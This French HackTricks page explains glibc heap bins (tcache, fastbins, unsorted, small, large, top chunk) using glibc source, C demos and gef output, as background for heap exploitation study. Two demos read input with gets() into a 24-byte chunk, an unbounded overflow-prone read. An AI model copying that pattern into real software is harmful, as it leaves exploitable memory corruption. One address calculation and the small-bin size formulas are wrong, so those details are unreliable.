<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de Base
Afin d'améliorer l'efficacité de la manière dont les morceaux sont stockés, chaque morceau n'est pas simplement dans une liste chaînée, mais il existe plusieurs types. Ce sont les bacs et il y a 5 types de bacs : [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) petits bacs, 63 grands bacs, 1 bac non trié, 10 bacs rapides et 64 bacs tcache par fil.
L'adresse initiale de chaque bac non trié, petit et grand se trouve dans le même tableau. L'index 0 n'est pas utilisé, 1 est le bac non trié, les bacs 2-64 sont les petits bacs et les bacs 65-127 sont les grands bacs.
### Bacs Tcache (Cache par fil)
Même si les threads essaient d'avoir leur propre tas (voir [Arenas](bins-and-memory-allocations.md#arenas) et [Sous-tas](bins-and-memory-allocations.md#subheaps)), il est possible qu'un processus avec beaucoup de threads (comme un serveur web) **finisse par partager le tas avec d'autres threads**. Dans ce cas, la principale solution est l'utilisation de **verrous**, ce qui pourrait **ralentir considérablement les threads**.
Par conséquent, un tcache est similaire à un bac rapide par fil de la manière dont c'est une **liste chaînée simple** qui ne fusionne pas les morceaux. Chaque fil a **64 bacs tcache liés**. Chaque bac peut contenir un maximum de [7 morceaux de même taille](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) allant de [24 à 1032B sur les systèmes 64 bits et de 12 à 516B sur les systèmes 32 bits](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
**Lorsqu'un fil libère** un morceau, **s'il n'est pas trop gros** pour être alloué dans le tcache et que le bac tcache respectif **n'est pas plein** (déjà 7 morceaux), **il sera alloué là-dedans**. S'il ne peut pas aller dans le tcache, il devra attendre que le verrou du tas soit disponible pour pouvoir effectuer l'opération de libération globalement.
Lorsqu'un **morceau est alloué**, s'il y a un morceau libre de la taille nécessaire dans le **tcache, il l'utilisera**, sinon, il devra attendre que le verrou du tas soit disponible pour en trouver un dans les bacs globaux ou en créer un nouveau.\
Il y a aussi une optimisation, dans ce cas, tout en ayant le verrou du tas, le fil **remplira son tcache avec des morceaux de tas (7) de la taille demandée**, donc s'il en a besoin de plus, il les trouvera dans le tcache.
<details>
<summary>Ajouter un exemple de morceau tcache</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
free(chunk);
return 0;
}
```
Compilez-le et déboguez-le avec un point d'arrêt dans l'opcode ret de la fonction main. Ensuite, avec gef, vous pouvez voir le tcache bin en cours d'utilisation:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
```
#### Structures et fonctions Tcache
Dans le code suivant, il est possible de voir les **bacs max** et les **morceaux par index**, la structure **`tcache_entry`** créée pour éviter les doubles libérations et **`tcache_perthread_struct`**, une structure que chaque thread utilise pour stocker les adresses de chaque index du bac.
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */
# define TCACHE_MAX_BINS 64
# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)
/* Only used to pre-fill the tunables. */
# define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)
/* When "x" is from chunksize(). */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size. */
# define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
/* Maximum chunks in tcache bins for tunables. This value must fit the range
of tcache->counts[] entries, else they may overflow. */
# define MAX_TCACHE_COUNT UINT16_MAX
[...]
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
```
</details>
La fonction `__tcache_init` est la fonction qui crée et alloue l'espace pour l'objet `tcache_perthread_struct`
<details>
<summary>Code de tcache_init</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
```
</details>
#### Index des Tcache
Le tcache a plusieurs bacs en fonction de la taille et les pointeurs initiaux vers le **premier fragment de chaque index et la quantité de fragments par index sont situés à l'intérieur d'un fragment**. Cela signifie que en localisant le fragment avec ces informations (généralement le premier), il est possible de trouver tous les points initiaux du tcache et la quantité de fragments Tcache.
### Bacs rapides
Les bacs rapides sont conçus pour **accélérer l'allocation de mémoire pour de petits fragments** en gardant les fragments récemment libérés dans une structure d'accès rapide. Ces bacs utilisent une approche Last-In, First-Out (LIFO), ce qui signifie que le **fragment le plus récemment libéré est le premier** à être réutilisé lorsqu'il y a une nouvelle demande d'allocation. Ce comportement est avantageux pour la vitesse, car il est plus rapide d'insérer et de supprimer depuis le sommet d'une pile (LIFO) par rapport à une file d'attente (FIFO).
De plus, **les bacs rapides utilisent des listes chaînées simples**, pas doubles, ce qui améliore encore la vitesse. Comme les fragments dans les bacs rapides ne sont pas fusionnés avec les voisins, il n'est pas nécessaire d'avoir une structure complexe qui permet de supprimer depuis le milieu. Une liste chaînée simple est plus simple et plus rapide pour ces opérations.
En gros, ce qui se passe ici, c'est que l'en-tête (le pointeur vers le premier fragment à vérifier) pointe toujours vers le dernier fragment libéré de cette taille. Donc :
* Lorsqu'un nouveau fragment est alloué de cette taille, l'en-tête pointe vers un fragment libre à utiliser. Comme ce fragment libre pointe vers le suivant à utiliser, cette adresse est stockée dans l'en-tête afin que la prochaine allocation sache où obtenir un fragment disponible.
* Lorsqu'un fragment est libéré, le fragment libre sauvegardera l'adresse du fragment disponible actuel et l'adresse de ce fragment nouvellement libéré sera mise dans l'en-tête.
La taille maximale d'une liste chaînée est `0x80` et elles sont organisées de sorte qu'un fragment de taille `0x20-0x2f` sera dans l'index `0`, un fragment de taille `0x30-0x3f` serait dans l'index `1`...
{% hint style="danger" %}
Les fragments dans les bacs rapides ne sont pas définis comme disponibles, ils sont donc conservés en tant que fragments de bac rapide pendant un certain temps au lieu de pouvoir fusionner avec d'autres fragments libres les entourant.
{% endhint %}
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Fastbins
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
typedef struct malloc_chunk *mfastbinptr;
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
/* The maximum fastbin request size we support */
#define MAX_FAST_SIZE (80 * SIZE_SZ / 4)
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
```
<details>
<summary>Ajouter un exemple de morceau fastbin</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[8];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 8; i++) {
chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
}
```
Notez comment nous allouons et libérons 8 morceaux de la même taille afin qu'ils remplissent le tcache et que le huitième soit stocké dans le fast chunk.
Compilez-le et déboguez-le avec un point d'arrêt dans l'opcode ret de la fonction principale. Ensuite, avec gef, vous pouvez voir le remplissage du tcache bin et le morceau unique dans le fast bin:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1750, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1730, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1710, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac16f0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac16d0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30] 0x00
```
</details>
### Bac à désordre
Le bac à désordre est un **cache** utilisé par le gestionnaire de tas pour accélérer l'allocation de mémoire. Voici comment cela fonctionne : Lorsqu'un programme libère un morceau, et si ce morceau ne peut pas être alloué dans un tcache ou un fast bin et ne entre pas en collision avec le chunk supérieur, le gestionnaire de tas ne le place pas immédiatement dans un bac spécifique petit ou grand. Au lieu de cela, il essaie d'abord de le **fusionner avec d'autres morceaux libres voisins** pour créer un bloc plus grand de mémoire libre. Ensuite, il place ce nouveau morceau dans un bac général appelé le "bac à désordre".
Lorsqu'un programme **demande de la mémoire**, le gestionnaire de tas **vérifie le bac à désordre** pour voir s'il y a un morceau de taille suffisante. S'il en trouve un, il l'utilise immédiatement. S'il ne trouve pas de morceau approprié dans le bac à désordre, il déplace tous les morceaux de cette liste vers leurs bacs correspondants, petits ou grands, en fonction de leur taille.
Notez que si un morceau plus grand est divisé en 2 moitiés et que le reste est plus grand que MINSIZE, il sera replacé dans le bac à désordre.&#x20;
Ainsi, le bac à désordre est un moyen d'accélérer l'allocation de mémoire en réutilisant rapidement la mémoire libérée récemment et en réduisant le besoin de recherches et de fusions longues.
{% hint style="danger" %}
Notez que même si les morceaux sont de catégories différentes, si un morceau disponible entre en collision avec un autre morceau disponible (même s'ils appartiennent initialement à des bacs différents), ils seront fusionnés.
{% endhint %}
<details>
<summary>Ajouter un exemple de morceau non trié</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[9];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
}
```
Notez comment nous allouons et libérons 9 morceaux de la même taille afin qu'ils **remplissent le tcache** et que le huitième soit stocké dans le unsorted bin car il est **trop grand pour le fastbin** et le neuvième n'est pas libéré donc le neuvième et le huitième **ne sont pas fusionnés avec le top chunk**.
Compilez-le et déboguez-le avec un point d'arrêt dans l'opcode ret de la fonction main. Ensuite, avec gef, vous pouvez voir le remplissage du tcache bin et le seul morceau dans le unsorted bin:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=15, size=0x110, count=7] ← Chunk(addr=0xaaaaaaac1d10, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1c00, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1af0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac19e0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac18d0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac17c0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac12a0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
```
</details>
### Petits Bacs
Les petits bacs sont plus rapides que les grands bacs mais plus lents que les bacs rapides.
Chaque bac des 62 aura des **morceaux de la même taille** : 16, 24, ... (avec une taille maximale de 504 octets en 32 bits et 1024 en 64 bits). Cela aide à accélérer la recherche du bac où un espace devrait être alloué et l'insertion et la suppression des entrées dans ces listes.
Voici comment la taille du petit bac est calculée en fonction de l'index du bac :
* Taille la plus petite : 2\*4\*index (par exemple, index 5 -> 40)
* Taille la plus grande : 2\*8\*index (par exemple, index 5 -> 80)
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define NSMALLBINS 64
#define SMALLBIN_WIDTH MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > CHUNK_HDR_SZ)
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz) \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define smallbin_index(sz) \
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
```
Fonction pour choisir entre les bacs petits et grands :
```c
#define bin_index(sz) \
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
```
<details>
<summary>Ajouter un exemple de petit chunk</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[10];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
chunks[9] = malloc(0x110);
return 0;
}
```
Notez comment nous allouons et libérons 9 morceaux de la même taille afin qu'ils **remplissent le tcache** et que le huitième soit stocké dans le unsorted bin car il est **trop grand pour le fastbin** et le neuvième n'est pas libéré donc le neuvième et le huitième **ne sont pas fusionnés avec le top chunk**. Ensuite, nous allouons un morceau plus grand de 0x110 ce qui fait que **le morceau dans le unsorted bin va dans le small bin**.
Compilez-le et déboguez-le avec un point d'arrêt dans l'opcode ret de la fonction main. Ensuite, avec gef, vous pouvez voir le remplissage du tcache bin et le seul morceau dans le small bin:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=15, size=0x110, count=7] ← Chunk(addr=0xaaaaaaac1d10, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1c00, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1af0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac19e0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac18d0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac17c0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac12a0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 small non-empty bins.
```
</details>
### Grands bacs
Contrairement aux petits bacs, qui gèrent des morceaux de tailles fixes, chaque **grand bac gère une plage de tailles de morceaux**. Cela est plus flexible, permettant au système d'accommoder **diverses tailles** sans avoir besoin d'un bac séparé pour chaque taille.
Dans un allocateur de mémoire, les grands bacs commencent là où les petits bacs se terminent. Les plages pour les grands bacs augmentent progressivement, ce qui signifie que le premier bac peut couvrir des morceaux de 512 à 576 octets, tandis que le suivant couvre de 576 à 640 octets. Ce schéma se poursuit, avec le plus grand bac contenant tous les morceaux supérieurs à 1 Mo.
Les grands bacs sont plus lents à opérer par rapport aux petits bacs car ils doivent **trier et rechercher dans une liste de tailles de morceaux variables pour trouver le meilleur ajustement** pour une allocation. Lorsqu'un morceau est inséré dans un grand bac, il doit être trié, et lorsqu'une allocation de mémoire est effectuée, le système doit trouver le bon morceau. Ce travail supplémentaire les rend **plus lents**, mais comme les allocations importantes sont moins courantes que les petites, c'est un compromis acceptable.
Il y a :
* 32 bacs de plage de 64B (en conflit avec les petits bacs)
* 16 bacs de plage de 512B (en conflit avec les petits bacs)
* 8 bacs de plage de 4096B (en partie en conflit avec les petits bacs)
* 4 bacs de plage de 32768B
* 2 bacs de plage de 262144B
* 1 bac pour les tailles restantes
<details>
<summary>Code des tailles des grands bacs</summary>
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define largebin_index_32(sz) \
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index_32_big(sz) \
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
// XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well.
#define largebin_index_64(sz) \
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index(sz) \
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))
```
</details>
<details>
<summary>Ajouter un exemple de gros morceau</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[2];
chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500);
free(chunks[0]);
chunks[0] = malloc(0x2000);
return 0;
}
```
Deux allocations importantes sont effectuées, puis l'une est libérée (la plaçant dans le bac non trié) et une allocation plus importante est effectuée (déplaçant celle qui a été libérée du bac non trié vers le bac large).
Compilez-le et déboguez-le avec un point d'arrêt dans l'opcode ret de la fonction principale. Ensuite, avec gef, vous pouvez voir le remplissage du bac tcache et le chunk dans le bac large :
```bash
gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
All tcachebins are empty
───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 large non-empty bins.
```
</details>
### Morceau Supérieur
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Top
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
Essentiellement, ceci est un chunk contenant tout le tas actuellement disponible. Lorsqu'un malloc est effectué, s'il n'y a pas de chunk libre disponible à utiliser, ce top chunk réduira sa taille en fournissant l'espace nécessaire.\
Le pointeur vers le Top Chunk est stocké dans la structure `malloc_state`.
De plus, au début, il est possible d'utiliser le chunk non trié comme top chunk.
<details>
<summary>Observer l'exemple du Top Chunk</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
return 0;
}
```
Après avoir compilé et débogué avec un point d'arrêt dans l'opcode ret de main, j'ai vu que le malloc a retourné l'adresse : `0xaaaaaaac12a0` et voici les chunks :
```bash
gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
```
Où il peut être vu que le chunk supérieur est à l'adresse `0xaaaaaaac1ae0`. Ce n'est pas surprenant car le dernier chunk alloué était à `0xaaaaaaac12a0` avec une taille de `0x410` et `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
Il est également possible de voir la longueur du chunk Top sur son en-tête de chunk:
```bash
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000
```
</details>
### Dernier Rappel
Lorsque malloc est utilisé et qu'un chunk est divisé (de la liste non liée ou du chunk supérieur par exemple), le chunk créé à partir du reste du chunk divisé est appelé Dernier Rappel et son pointeur est stocké dans la structure `malloc_state`.
## Flux d'Allocation
Consultez :
{% content-ref url="heap-memory-functions/malloc-and-sysmalloc.md" %}
